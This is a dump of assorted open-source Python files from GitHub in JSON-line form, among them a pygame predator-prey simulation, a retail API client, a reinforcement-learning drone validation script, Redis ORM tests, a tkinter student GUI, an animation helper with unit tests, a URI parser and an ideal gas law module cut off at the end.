serialized_comments\n\t\t\t\treturn Response(serialized_announcement)\n\t\t\telse:\n\t\t\t\treturn Response({\n\t\t\t\t\t\"error\": \"You aren't enrolled in this classroom.\"\n\t\t\t\t\t}, status=status.HTTP_400_BAD_REQUEST)\n\t\texcept Exception as e:\n\t\t\treturn Response({\n\t\t\t\t\"error\": \"Announcement query doesn't exists.\"\n\t\t\t\t}, status=status.HTTP_400_BAD_REQUEST)\n\n\n\n\n\n","repo_name":"jeetbij/ITSProject-OnlineClassroom","sub_path":"Announcement/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7521,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"4457361228","text":"# Main driver for the simulation\nfrom random import randint\nimport numpy as np\nimport time\nimport pygame\nimport prey\nimport predator\n\ninit_predators = 100\ninit_prey = 150\n\nmax_predators = 200\nmax_prey = 250\n\ngrid_size = 150\nscaling_factor = 6\n\nPREY = []\nPREDATORS = []\n\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\n\ndef check_occupied(game_board, x, y, is_predator):\n    if (x >= 0 and x < game_board.shape[0] and y >= 0 and y < game_board.shape[1]) == False:\n        return True\n    elif game_board[x, y] == 0 and is_predator == False:\n        return True\n    elif game_board[x, y] == 1 and is_predator == True:\n        return True\n    else:\n        return False\n\ndef find_random_unoccupied(game_board, is_predator):\n    x, y = randint(0, grid_size-1), randint(0, grid_size-1)\n    while check_occupied(game_board, x, y, is_predator):\n        x, y = randint(0, grid_size-1), randint(0, grid_size-1)\n    return x, y\n    \n\ndef create_population(num_prey, num_predators):\n    game_board = np.full((grid_size, grid_size), -1)\n\n    for i in range(num_prey):\n        # Create new prey with random starting position\n        x, y = find_random_unoccupied(game_board, False)\n        nprey = prey.Prey(x, y)\n        game_board[nprey.x, nprey.y] = 0\n        PREY.append(nprey)\n\n    for i in range(num_predators):\n        # Create new predator with random starting position\n        x, y = find_random_unoccupied(game_board, True)\n        npredator = predator.Predator(x, y)\n        game_board[npredator.x, npredator.y] = 1\n        PREDATORS.append(npredator)\n\ndef main():\n    # create simulation game board\n    screen = None\n    clock = None\n \n    screen_width, screen_height = grid_size, grid_size\n\n    pygame.init()\n    win = pygame.display.set_mode((screen_width*scaling_factor, screen_height*scaling_factor))\n    screen = pygame.Surface((screen_width, screen_height))\n    clock = pygame.time.Clock() \n\n    # create the original population\n    create_population(init_prey, init_predators)\n\n    # start the simulation\n    while 1:\n        # update game board\n        screen.fill(WHITE)\n\n        # init new board state\n        game_board = np.full((grid_size, grid_size), -1)\n\n        # update game board positions\n        for prey in PREY:\n            game_board[prey.x, prey.y] = 0\n        for predator in PREDATORS:\n            game_board[predator.x, predator.y] = 1\n\n        # update each entity\n        for prey in PREY:\n            pygame.draw.circle(screen, GREEN, (prey.x, prey.y), 1)\n            prey.update(game_board, PREDATORS, PREY, max_prey)\n        for predator in PREDATORS:\n            pygame.draw.circle(screen, RED, (predator.x, predator.y), 1)\n            predator.update(game_board, PREDATORS, PREY, max_predators)\n\n        win.blit(pygame.transform.scale(screen, win.get_rect().size), (0, 0))\n        pygame.display.update()\n        clock.tick(100)\n\n        print(f'predators: {len(PREDATORS)}, prey: {len(PREY)}')\n        \n\nif __name__ == \"__main__\":\n    main()","repo_name":"masonzorer/Evolution-Simulator","sub_path":"simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"5931244348","text":"import base64\nimport requests\nimport json\nimport time\nimport logging\nfrom urllib.parse import urlencode\n\nfrom .BaseApi import BaseApi\nfrom .entities import ErrorResponse\n\nclass BaseServiceApi(BaseApi):\n    def _showAuthorizationString(self):\n        return self.config.accessToken\n\n    def _getSmaregiAuth(self):\n        string = self._showAuthorizationString()\n        return \"Bearer \" + string\n        \n    \n    def _getHeader(self):\n        return {\n            'Authorization': self._getSmaregiAuth(),\n            'Content-Type':\t'application/x-www-form-urlencoded',        \n        }\n        \n        \n    def _getQuery(self, field=None, sort=None, whereDict=None):\n        body = {\n            'limit': 1000,\n            'page': 1\n        }\n        if (field is not None):\n            body.update({\n                'fields': field\n            })\n        if (sort is not None):\n            body.update({\n                'sort': sort\n            })\n        if (whereDict is not None):\n            body.update(whereDict)\n\n        return body\n        \n        \n    def _getQueryForDetail(self, field=None, sort=None, whereDict=None, **kwargs):\n        body = {\n        }\n        if (field is not None):\n            body.update({\n                'fields': field\n            })\n        if (sort is not None):\n            body.update({\n                'sort': sort\n            })\n        if (whereDict is not None):\n            body.update(whereDict)\n        body.update(kwargs)\n\n        return body\n\n    \n    def _getRequestBody():\n        body = {}\n\n\n        \n    def _apiGet(self, uri: str, header: dict, body: dict) -> tuple[int, any]:\n        \"\"\"APIを実施します\n        link、pageがある場合、すべて実施してデータを結合します\n\n        Args:\n            uri (str): [description]\n            header (dict): [description]\n            body (dict): [description]\n\n        Returns:\n            tuple[int, any]: status, response の tuple statusが200でなければ、responseはエラー内容\n        \"\"\"\n        response = requests.get(self.uri, headers=header, params=urlencode(body))\n        resultList = response.json()\n        if response.status_code != 200:\n            errorResponse = ErrorResponse(resultList)\n            return (response.status_code, errorResponse)\n\n        while (('link' in response.headers) and ('next' in response.links)):\n            print(response.links)\n            uriNext = response.links['next']['url']\n            response = requests.get(uriNext, headers=header)\n            if response.status_code != 200:\n                errorResponse = ErrorResponse(resultList)\n                return (response.status_code, errorResponse)\n            resultList.extend(response.json())\n\n        return (response.status_code, resultList)\n\n\n    def _apiPost(self, uri: str, header: dict, body: dict) -> tuple[int, any]:\n        \"\"\"POSTのAPIを実施します\n\n        Args:\n            uri (str): [description]\n            header (dict): [description]\n            body (dict): [description]\n\n        Returns:\n            tuple[int, any]: status_code, response の tuple\n        \"\"\"\n        response = requests.post(self.uri, headers=header, data=json.dumps(body))\n        result = response.json()\n        if response.status_code != 200:\n            errorResponse = ErrorResponse(result)\n            return (response.status_code, errorResponse)\n\n        return (response.status_code, result)\n","repo_name":"shabaraba/look-into-baskets","sub_path":"app/lib/Smaregi/API/BaseServiceApi.py","file_name":"BaseServiceApi.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20742338616","text":"#!/home/yuhang/anaconda3/bin/python3\n# -*- coding: utf-8 -*-\nimport env\nimport ddqn\nimport time\nimport torch\n# zyhtest111\n\n\nGazeboUAV = env.GazeboUAV()\nagent = ddqn.DQN(GazeboUAV, batch_size=64, memory_size=10000, target_update=4,\n                gamma=0.99, learning_rate=1e-4, eps=0, eps_min=0, eps_period=5000)\nparam_path = '/home/yuhang/catkin_ws/src/uav_ros/scripts/Record/Duel_DQN_Reward_home2_sup.pth'\n# param_path = '/home/zyh/catkin_ws/src/UAV/scripts/Record/dqn_1st.pth'\nagent.load_model(param_path, map_location=torch.device('cpu'))\nwhile True:\n    state1, state2 = GazeboUAV.reset()\n    time.sleep(0.5)\n    for i in range(100):\n        action = agent.get_action(state1, state2)\n        GazeboUAV.execute(action)\n        time.sleep(0.3)\n        next_state1, next_state2, terminal, reward = GazeboUAV.step()\n        if terminal:\n            break\n        state1 = next_state1\n        state2 = next_state2\n","repo_name":"zzzzzyh111/gazebo_uav_RL","sub_path":"validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"}
+{"seq_id":"73248353791","text":"import unittest\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy import signal\nfrom utilities import correlate_and_sum\n\n\nclass TestCorrelation(unittest.TestCase):\n\n    def test_correlation(self):\n        time_offset = .2\n\n        fps = 30.0  # frames/second (sample rate)\n        sample_interval = 1.0 / fps  # sampling interval\n        length_of_signal_seconds = 10\n        pulse_rate_seconds = 1.0\n\n        x_time1 = np.arange(0, length_of_signal_seconds, sample_interval)\n        y1 = np.sin(pulse_rate_seconds * 2.0 * np.pi * x_time1) * 6 # 6 unit sine wave\n\n        x_time2 =  np.arange(time_offset, (length_of_signal_seconds + time_offset), sample_interval)  # offset by 10 units\n        y2 = np.sin(pulse_rate_seconds * 2.0 * np.pi * x_time2) * 6 # 6 unit sine wave\n\n        y_uncorrelated = y1+y2\n        self.assertGreater(((max(y1) + max(y1)) - max(y_uncorrelated)), 2, \"Correlation failure\")\n\n        x_time2 -= time_offset\n        fig, ax = plt.subplots(2)\n        fig.suptitle(\"Correlation - test\", fontsize=14)\n\n        ax[0].plot(x_time1, y1, label='Series 1', color=(1.0, 0.0, 0.0))\n        ax[0].plot(x_time2, y2, label='Series 2', color=(0.0, 1.0, 0.0))\n\n        y1, y2, y_correlated = correlate_and_sum( y1, y2 )\n        x_correlated = x_time1[:len(y_correlated)]\n\n        ax[1].plot(x_correlated, y_correlated, label='foo', color=(0.0, 0.0, 1.0))\n\n        # since both y1&y2 are same amplitude, when correlated, the result should be 2 * y1\n        #self.assertLessEqual((max(y_correlated) - (max(y1) + max(y1))), 0.001, \"Correlation failure\")\n        plt.ion()\n        plt.pause(0.00001)\n        plt.show()\n\n\n        input(\"Done - Press Enter/Return to exit\")\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"FredOleary/VideoBiometrics","sub_path":"collector/unittests/correlation_test.py","file_name":"correlation_test.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"7464861765","text":"# Smart Devices 1\n# Lesson 4:  Start a beeping buzzer and turn it off when the button is pressed\n\nimport machine\nimport utime\n\nled = machine.Pin(15, machine.Pin.OUT)  # an acutator, or output\nbuzzer = machine.Pin(6, machine.Pin.OUT)  # an actuator, or output\nbutton = machine.Pin(14, machine.Pin.IN, machine.Pin.PULL_DOWN)  # a sensor, or input\n\nfor i in range(4):   # make the led blink 4 times\n    led.value(1)\n    utime.sleep(0.25)\n    led.value(0)\n    utime.sleep(0.25)\n\nfor i in range(3):  # when the program starts, beep 3 times\n    buzzer.value(1)\n    utime.sleep(0.3)\n    buzzer.value(0)\n    utime.sleep(0.3)\n\nwhile button.value() == 0:       # while the button is not yet pressed\n    led.value(1)  # turn on the LED\n    buzzer.value(1)         # make a sound\n    utime.sleep(0.5)  # wait for 0.5 second\n    led.value(0)   # turn off the LED\n    buzzer.value(0)         # turn off the buzzer\n    utime.sleep(0.5)  # wait for half a second\n\nbuzzer.value(1)  # turn on the buzzer\nutime.sleep(4)   # a long sound\nbuzzer.value(0)","repo_name":"vladmariano/raspberry_pi_pico","sub_path":"lesson_4_smart_devices1.py","file_name":"lesson_4_smart_devices1.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16846188412","text":"from datetime import date\n\nimport pytest_twisted\n\nfrom RSO.txredisapi.index import HashIndex\nfrom ..data import USERS\nfrom ..models.txredisapi import (\n    UserModel,\n    ListIndexQueue,\n    SingleIndexUsername,\n    SingleIndexEmail,\n    SetIndexGroupID,\n)\n\n\nclass TestModelCreate:\n    @pytest_twisted.inlineCallbacks\n    def test_complete(self, tx_redis):\n        user = UserModel(\n            user_id=1,\n            username='test_create_success',\n            email='test@create.success',\n            group_id=2,\n            queue_id=3,\n            birth_date=date.fromisoformat('1999-09-09')\n        )\n\n        res = yield user.is_exist(tx_redis)\n        assert res is False\n\n        yield user.save(tx_redis)\n\n        res = yield user.is_exist(tx_redis)\n        assert res is True\n\n        res = yield tx_redis.exists(SingleIndexUsername.redis_key())\n        assert bool(res) is True\n        res = yield tx_redis.exists(SingleIndexEmail.redis_key())\n        assert bool(res) is True\n        res = yield tx_redis.exists(SetIndexGroupID.redis_key(user))\n        assert bool(res) is True\n        res = yield tx_redis.exists(ListIndexQueue.redis_key(user))\n        assert bool(res) is True\n\n\nclass TestModelGet:\n    @pytest_twisted.inlineCallbacks\n    def test_success(self, tx_redis):\n        user = UserModel(\n            user_id=1,\n            username='test_create_success',\n            email='test@create.success',\n            group_id=2,\n            queue_id=3,\n            birth_date=date.fromisoformat('1999-09-09')\n        )\n        yield user.save(tx_redis)\n\n        res = yield UserModel.search(tx_redis, 1)\n        assert isinstance(res, UserModel)\n\n    @pytest_twisted.inlineCallbacks\n    def test_not_found(self, tx_redis):\n        res = yield UserModel.search(tx_redis, 1)\n        assert res is None\n\n    @pytest_twisted.inlineCallbacks\n    def test_get_all_success(self, tx_redis):\n        result = yield UserModel.all(tx_redis)\n        assert len(result) == 0\n\n        for data in USERS:\n            user = UserModel(**data)\n            yield user.save(tx_redis)\n\n        result = yield UserModel.all(tx_redis)\n        assert len(result) == len(USERS)\n        assert isinstance(result[0], UserModel)\n\n\nclass TestModelDelete:\n    @pytest_twisted.inlineCallbacks\n    def test_success(self, tx_redis):\n        user = UserModel(\n            user_id=1,\n            username='test_create_success',\n            email='test@create.success',\n            group_id=2,\n            queue_id=3,\n            birth_date=date.fromisoformat('1999-09-09')\n        )\n        redis_key = user.redis_key\n\n        yield user.save(tx_redis)\n        res = yield user.is_exist(tx_redis)\n        assert res is True\n        res = yield tx_redis.exists(redis_key)\n        yield bool(res) is True\n\n        yield user.delete(tx_redis)\n        res = yield tx_redis.exists(redis_key)\n        yield bool(res) is False\n\n    @pytest_twisted.inlineCallbacks\n    def test_index_removed(self, tx_redis):\n        \"\"\"\n        Validate that index data should have been remove\n        as all of its model is\n        \"\"\"\n        user = UserModel(\n            user_id=1,\n            username='test_create_success',\n            email='test@create.success',\n            group_id=2,\n            queue_id=3,\n            birth_date=date.fromisoformat('1999-09-09')\n        )\n        yield user.save(tx_redis)\n\n        index_keys = []\n        for index_class in UserModel.__indexes__ or []:\n            if getattr(user, index_class.__key__) is None:\n                continue\n\n            try:\n                redis_key = index_class.redis_key(user)\n            except TypeError:\n                redis_key = index_class.redis_key()\n\n            index_keys.append(redis_key)\n            res = yield tx_redis.exists(redis_key)\n            assert bool(res) is True\n\n        yield user.delete(tx_redis)\n        for key in index_keys:\n            res = yield tx_redis.exists(key)\n            assert bool(res) is False\n\n    @pytest_twisted.inlineCallbacks\n    def test_not_found(self, tx_redis):\n        user = UserModel(\n            user_id=1,\n            username='test_create_success',\n            email='test@create.success',\n            group_id=2,\n            queue_id=3,\n            birth_date=date.fromisoformat('1999-09-09')\n        )\n        yield user.delete(tx_redis)\n\n        res = yield UserModel.search(tx_redis, user.user_id)\n        assert res is None\n\n        res = yield tx_redis.exists(user.redis_key)\n        assert bool(res) is False, f'res={res}'\n","repo_name":"jockerz/redis_simple_orm","sub_path":"tests/txredisapi/test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":4529,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"86669829865","text":"'''\n实现学生明细的GUI，由basedetail派生而来\n'''\nfrom basedetail import *\n\nclass StudentDetail(BaseDetail):\n    def __init__(self,flag:int):\n        super().__init__()\n        #修改title\n        self.Label_Title[\"text\"] = \"学生明细信息\"\n\n        #接收flag值\n        self.flag = flag\n\n        #修改style\n        self.Style01.configure(\"TLabel\",font=(\"微软雅黑\",12),forground=\"Navy\")\n        #添加StudentDetail内容\n        #学号\n        self.Label_sno = Label(self.Pane_detail,text=\"学号:\")\n        self.Label_sno.place(x=140,y=40)\n        self.Entry_sno = Entry(self.Pane_detail,font=(\"微软雅黑\",14,\"bold\"),width=10)\n        self.Entry_sno.place(x=210,y=38)\n        #姓名\n        self.Label_name = Label(self.Pane_detail, text=\"姓名:\")\n        self.Label_name.place(x=140, y=90)\n        self.Entry_name = Entry(self.Pane_detail, font=(\"微软雅黑\", 14, \"bold\"), width=10)\n        self.Entry_name.place(x=210, y=88)\n        #性别\n        self.Label_gender = Label(self.Pane_detail, text=\"性别:\")\n        self.Label_gender.place(x=140, y=140)\n        self.var_gender = IntVar()\n        self.Radiu_man = Radiobutton(self.Pane_detail,text=\"男\",variable=self.var_gender,value=1)\n        self.Radiu_man.place(x=220,y=140)\n        self.Radiu_woman = Radiobutton(self.Pane_detail, text=\"女\",variable=self.var_gender, value=2)\n        self.Radiu_woman.place(x=300, y=140)\n        #出生日期\n        self.Label_birthday = Label(self.Pane_detail, text=\"出生日期:\")\n        self.Label_birthday.place(x=100, y=190)\n        self.Label_birthday = Entry(self.Pane_detail, font=(\"微软雅黑\", 14, \"bold\"), width=10)\n        self.Label_birthday.place(x=210, y=188)\n        #手机号码\n        self.Label_mobile = Label(self.Pane_detail, text=\"手机号码:\")\n        self.Label_mobile.place(x=100, y=240)\n        self.Label_mobile = Entry(self.Pane_detail, font=(\"微软雅黑\", 14, \"bold\"), width=10)\n        self.Label_mobile.place(x=210, y=238)\n        #邮箱地址\n        self.Label_email = Label(self.Pane_detail, text=\"邮箱地址:\")\n        self.Label_email.place(x=100, y=290)\n        self.Label_email = Entry(self.Pane_detail, font=(\"微软雅黑\", 14, \"bold\"), width=10)\n        self.Label_email.place(x=210, y=288)\n        #所学专业\n        self.Label_profession = Label(self.Pane_detail, text=\"所学专业:\")\n        self.Label_profession.place(x=100, y=340)\n        self.Label_profession = Entry(self.Pane_detail, font=(\"微软雅黑\", 14, \"bold\"), width=10)\n        self.Label_profession.place(x=210, y=338)\n        #入学时间\n        self.Label_study_time = Label(self.Pane_detail, text=\"入学时间:\")\n        self.Label_study_time.place(x=100, y=390)\n        self.Label_study_time = Entry(self.Pane_detail, font=(\"微软雅黑\", 14, \"bold\"), width=10)\n        self.Label_study_time.place(x=210, y=388)\n\n        #调用student_detail元素加载\n        self.setup_student_detail()\n\n        #根据flag值初始化窗口\n        self.load_gui_by_flag()\n\n    def setup_student_detail(self):\n        pass\n\n    def load_gui_by_flag(self):\n        if self.flag == 1:\n            #查看的窗口状态\n            self.Label_Title[\"text\"] = \"查看学生明细\"\n        elif self.flag == 2:\n            #修改的窗口状态\n            self.Label_Title[\"text\"] = \"修改学生明细\"\n        elif self.flag == 3:\n            #添加的窗口状态\n            self.Label_Title[\"text\"] = \"增加学生明细\"\n\n\nif __name__ == '__main__':\n    student = StudentDetail()\n    student.mainloop()","repo_name":"taskj/JPyDemo","sub_path":"学生教师管理系统GUI/studentdetail.py","file_name":"studentdetail.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70396977152","text":"import sys\nsys.stdin = open('5099.txt', 'r')\n\nfor tc in range(1, int(input())+1):\n    N, M = map(int, input().split())\n    pizza = list(map(int, input().split()))\n    # 인덱스값 표현하기 위해 x 설정\n    x = N\n    q = []\n    # 첫 판을 짜는 부분 q에는 [idx, 치즈의 수] 형태로 저장\n    for i in range(N):\n        q.append([i+1, pizza[i]])\n\n    # 피자 화덕에 1만 남으면 종료\n    while len(q) != 1:\n        # 일단 첫번째꺼 반갈라\n        q[0][1] //= 2\n        # 0인게 나오면\n        if q[0][1] == 0:\n            # 남은 피자가 있으면 빼고 추가\n            if x < M:\n                q.pop(0)\n                q.append([x+1, pizza[x]])\n                x += 1\n            # 남은 피자가 없다,, 그냥 빼자\n            elif x >= M:\n                q.pop(0)\n        # 0인게 없으면 q를 통해 뒤를빼고 앞에 추가한다.\n        else:\n            q.append((q.pop(0)))\n    print('#{} {}'.format(tc, q[0][0]))","repo_name":"jes5918/TIL","sub_path":"Algorithm/SWEA/파이썬SW문제해결 Queue/SWEA_5099_피자굽기_전의수.py","file_name":"SWEA_5099_피자굽기_전의수.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"ko","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"26985172326","text":"import weakref\n\nLOOP = 1\nSMOOTH = 2\nPING_PONG = 4\n\nT = 0\n\ndef now():\n    return T\n\nclass AnimatedProperty:\n    properties = {}\n\n    @staticmethod\n    def animate(owner, name, startvalue, endvalue, delay, duration=0, flags = 0):\n        #if not hasattr(owner, name):\n        #    print \"HA?\",owner\n        #    dir(owner)\n        #    raise Exception(\"Property to animate does not exist: \" + name)\n        \n        funcs = []\n        if flags & PING_PONG: flags |= LOOP\n        if flags & PING_PONG:\n            funcs.append(lambda x: x-int(x) if not int(x)%2 else 1.0 - (x-int(x)))\n        elif flags & LOOP:\n            funcs.append(lambda x: x-int(x))\n        if flags & SMOOTH:\n            funcs.append(lambda x: (x*x) * (3.0-(2.0*x)))\n            \n        ap = (now(), weakref.ref(owner), startvalue, endvalue, delay, duration, funcs, flags & LOOP)\n        AnimatedProperty.properties[(id(owner), name)] = ap\n    \n    @staticmethod\n    def tick():\n        pending = {}\n        for k, ap in AnimatedProperty.properties.items():\n            _id, name = k\n            starttime, owner, \\\n            startvalue, endvalue, delay, duration, \\\n            funcs, loop = ap\n            owner = owner()\n            keep = True\n            if owner:\n                elapsed = (now() - starttime)\n                elapsed -= delay\n                if elapsed >= 0:\n                    if duration > 0:\n                        x = elapsed / float(duration)\n                        if x >= 1.0 and not loop:\n                            x = 1.0\n                            keep = False\n                    else:\n                        x = 1.0\n                        keep = False\n                    for f in funcs:\n                        x = f(x)\n                    x = (endvalue - startvalue) *x + startvalue\n                    setattr(owner, name, x)\n            else:\n                keep = False\n            \n            if keep:\n                pending[k] = ap\n        AnimatedProperty.properties = pending\n                \n#\n# Regression Tests\n##\nimport unittest\nfrom test import test_support\n\nclass TestAnimatedProperty(unittest.TestCase):\n    values = []\n    \n    def setValue(self, v):\n        self.values.append((T,  int(v)))\n        \n    def getValue(self):\n        return 0.0\n    animateMe = property(getValue, setValue)\n    \n    def test_delay(self):\n        self.values = []\n        global T\n        T = 0\n        AnimatedProperty.animate(self, \"animateMe\", 0, 100, 1000)\n        for t in range(20):\n            T = t * 100\n            AnimatedProperty.tick()\n        \n        assert self.values == [(1000, 100)]\n        \n    def test_linear(self):\n        self.values = []\n        global T\n        T = 0\n        AnimatedProperty.animate(self, \"animateMe\", 0, 100, 500, 1000)\n        for t in range(20):\n            T = t * 100\n            AnimatedProperty.tick()\n\n        assert self.values == [(500, 0), (600, 10), (700, 20), (800, 30), (900, 40), (1000, 50), (1100, 60), (1200, 70), (1300, 80), (1400, 90), (1500, 100)]\n\n\n    def test_smooth(self):\n        self.values = []\n        global T\n        T = 0\n        AnimatedProperty.animate(self, \"animateMe\", 0, 1000, 0, 1000, flags = SMOOTH)\n        for t in range(20):\n            T = t * 100\n            AnimatedProperty.tick()\n\n        assert self.values ==  [(0, 0), (100, 28), (200, 104), (300, 216), (400, 352), (500, 500), (600, 648), (700, 783), (800, 896), (900, 972), (1000, 1000)]\n \n \n    def test_loop(self):\n        self.values = []\n        global T\n        T = 0\n        AnimatedProperty.animate(self, \"animateMe\", 0, 1000, 0, 1000, flags = LOOP)\n        for t in range(20):\n            T = t * 100\n            AnimatedProperty.tick()\n\n        assert self.values == [(0, 0), (100, 100), (200, 200), (300, 300), (400, 400), (500, 500), (600, 600), (700, 700), (800, 800), (900, 900), (1000, 0), (1100, 100), (1200, 199), (1300, 300), (1400, 399), (1500, 500), (1600, 600), (1700, 700), (1800, 800), (1900, 899)]\n\n    def test_ping_pong(self):\n        self.values = []\n        global T\n        T = 0\n        AnimatedProperty.animate(self, \"animateMe\", 0, 1000, 0, 1000, flags = LOOP|PING_PONG)\n        for t in range(20):\n            T = t * 100\n            AnimatedProperty.tick()\n\n        assert self.values == [(0, 0), (100, 100), (200, 200), (300, 300), (400, 400), (500, 500), (600, 600), (700, 700), (800, 800), (900, 900), (1000, 1000), (1100, 899), (1200, 800), (1300, 700), (1400, 600), (1500, 500), (1600, 399), (1700, 300), (1800, 199), (1900, 100)]\n\n    def test_smooth_ping_pong(self):\n        self.values = []\n        global T\n        T = 0\n        AnimatedProperty.animate(self, \"animateMe\", 0, 1000, 0, 1000, flags = LOOP|PING_PONG|SMOOTH)\n        for t in range(20):\n            T = t * 100\n            AnimatedProperty.tick()\n\n        assert self.values == [(0, 0), (100, 28), (200, 104), (300, 216), (400, 352), (500, 500), (600, 648), (700, 783), (800, 896), (900, 972), (1000, 1000), (1100, 972), (1200, 896), (1300, 783), (1400, 648), (1500, 500), (1600, 351), (1700, 216), (1800, 103), (1900, 28)]\n\n\n    def test_smooth_loop(self):\n        self.values = []\n        global T\n        T = 0\n        AnimatedProperty.animate(self, \"animateMe\", 0, 1000, 0, 1000, flags = LOOP|SMOOTH)\n        for t in range(20):\n            T = t * 100\n            AnimatedProperty.tick()\n\n        assert self.values == [(0, 0), (100, 28), (200, 104), (300, 216), (400, 352), (500, 500), (600, 648), (700, 783), (800, 896), (900, 972), (1000, 0), (1100, 28), (1200, 103), (1300, 216), (1400, 351), (1500, 500), (1600, 648), (1700, 783), (1800, 896), (1900, 972)]\n\n    def test_cancel(self):\n        self.values = []\n        global T\n        T = 0\n        AnimatedProperty.animate(self, \"animateMe\", 0, 1000, 0, 1000)\n        AnimatedProperty.animate(self, \"animateMe\", 0, 0, 0)\n        \n        for t in range(20):\n            T = t * 100\n            AnimatedProperty.tick()\n\n        assert self.values == [(0, 0)]\n\n        \ndef test_main():\n    test_support.run_unittest(\n        TestAnimatedProperty\n        #... list other tests ...\n    )\n\nif __name__ == \"__main__\":\n    test_main()","repo_name":"regular/talkshow","sub_path":"animated_property.py","file_name":"animated_property.py","file_ext":"py","file_size_in_byte":6158,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"22715380987","text":"import json\n\ncomputers = [\n    {\n        'id': 1,\n        'name': \"Asus\",\n        \"color\": \"black\",\n    },\n    {\n        \"id\": 2,\n        \"name\": \"Victus\",\n        \"color\": \"black\",\n    },\n    {\n        \"id\": 3,\n        \"name\": \"HP\",\n        \"color\": \"white\",\n    },\n    {\n        \"id\": 4,\n        \"name\": \"Lenovo\",\n        \"color\": \"red\",\n    }\n]\n\njson_arr = json.dumps(computers)\n\nwith open(\"computers.json\", \"w\") as f:\n    json.dump(computers, f)\n\n# print(type(json.loads(json_arr)[0]))\nprint(json.loads(\"computers.json\"))\n\nwith open(\"computers.json\") as f:\n    computers = json.load()\n\nprint(computers)\n","repo_name":"XudayberdiyevB/P10-test-project","sub_path":"working_with_json/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"41310732358","text":"\"\"\"\nThis file contains the URI Python class and the validation variables.\n\"\"\"\n\nVALID_SCHEMES = [\n    \"visma-identity\"\n]\n\nVALID_PATHS = {\n    \"login\": {\n        \"source\": \"string\"\n    },\n    \"confirm\": {\n        \"source\": \"string\",\n        \"paymentnumber\": \"number\"\n    },\n    \"sign\": {\n        \"source\": \"string\",\n        \"documentid\": \"string\"\n    }\n}\n\nclass URI:\n    \"\"\"\n    This class takes an uri as constructor parameter and parses it.\n    scheme: String\n    path: String\n    params: Dict\n    \"\"\"\n    scheme = \"\"\n    path = \"\"\n    params = {}\n\n    def __init__(self, uri: str):\n        \"\"\"\n        This function splits the uri to isolate the components\n        \"\"\"\n        temp_uri = uri.split('://')\n        self.scheme = temp_uri[0]\n        temp_uri = temp_uri[1].split('?')\n        self.path =  temp_uri[0]\n        params_list = temp_uri[1].split('&')\n\n        for param in params_list:\n            param = param.split(\"=\")\n            self.params[param[0]] = param[1]\n\n        self.validate()\n\n    def validate(self):\n        \"\"\"\n        This function validates class attributes and parameter types.\n        \"\"\"\n        if self.scheme not in VALID_SCHEMES or self.path not in VALID_PATHS:\n            return False\n\n        for param in self.params:\n            if param not in VALID_PATHS[self.path]:\n                return False\n            if VALID_PATHS[self.path][param] == \"number\":\n                try:\n                    self.params[param] = int(self.params[param])\n                except ValueError:\n                    return False\n\n        return True\n","repo_name":"gottagofarm/Uri_Parsing","sub_path":"uri.py","file_name":"uri.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9408435348","text":"\"\"\"\nThe ideal gas law, also called the general gas equation, is the\nequation of state of a hypothetical ideal gas. It is a good approximation\nof the behavior of many gases under many conditions, although it has\nseveral limitations. It was first stated by Benoît Paul Émile Clapeyron\nin 1834 as a combination of the empirical Boyle's law, Charles's law,\nAvogadro's law, and Gay-Lussac's law.[1] The ideal gas law is often written\nin an empirical form:\n ------------\n | PV = nRT |\n ------------\nP\t=\tPressure (Pa)\nV\t=\tVolume (m^3)\nn\t=\tAmount of substance (mol)\nR\t=\tUniversal gas constant\nT\t=\tAbsolute temperature (Kelvin)\n\n(Description adapted from https://en.wikipedia.org/wiki/Ideal_gas_law )\n\"\"\"\n\nUNIVERSAL_GAS_CONSTANT = 8.314462  # Unit - J mol-1 K-1\n\n\ndef pressure_of_gas_system(moles: float, kelvin: float, volume: float) -> float:\n    \"\"\"\n    >>> pressure_of_gas_system(2, 100, 5)\n    332.57848\n    >>> pressure_of_gas_system(0.5, 273, 0.004)\n    283731.01575\n    >>> pressure_of_gas_system(3, -0.46, 23.5)\n    Traceback (most recent call last):\n        ...\n    ValueError: Invalid inputs. Enter positive value.\n    \"\"\"\n    if moles < 0 or kelvin < 0 or volume < 0:\n        raise ValueError(\"Invalid inputs. Enter positive value.\")\n    return moles * kelvin * UNIVERSAL_GAS_CONSTANT / volume\n\n\ndef volume_of_gas_system(moles: float, kelvin: float, pressure: float) -> float:\n    \"\"\"\n    >>> volume_of_gas_system(2, 100, 5)\n    332.57848\n    >>> volume_of_gas_system(0.5, 273, 0.004)\n    283731.01575\n    >>> volume_of_gas_system(3, -0.46, 23.5)\n    Traceback (most recent call last):\n        ...\n    